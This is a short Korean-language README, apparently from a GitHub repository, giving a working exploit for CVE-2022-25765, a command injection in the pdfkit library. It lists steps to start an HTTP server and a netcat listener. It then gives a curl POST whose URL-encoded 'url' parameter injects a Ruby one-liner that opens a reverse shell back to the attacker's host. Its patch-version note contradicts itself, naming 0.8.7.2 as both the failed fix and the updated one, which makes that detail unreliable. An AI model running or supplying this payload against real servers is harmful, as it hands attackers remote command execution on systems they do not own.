shamo0/pdfkit-cmd-injectionCVE-2022-25765 pdfkit <0.8.6 명령 삽입.
CVE-2022-25765 pdfkit <0.8.6 명령 삽입(command injection).
pdfkit 패키지는 URL이 제대로 삭제(sanitize)되지 않아 명령 삽입(Command Injection)에 취약합니다.
참고: 이 문제는 0.8.7.2에서 패치되었지만, 해당 패치는 효과가 없는 것으로 밝혀졌습니다. 업데이트된 패치 버전은 0.8.7.2입니다.
HTTP 서버 시작
python3 -m http.server 80
netcat 리스너 시작
nc -nlvp 4444
CURL로 요청 보내기
curl 'TARGET_ADDRESS' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: TARGET_ADDRESS' -H 'Connection: keep-alive' -H 'Referer: TARGET_ADDRESS' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2FLOCAL-ADDRESS%3ALOCAL-PORT%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%22LOCAL-ADDRESS%22%2CLOCAL-PORT%29%29%27%60'
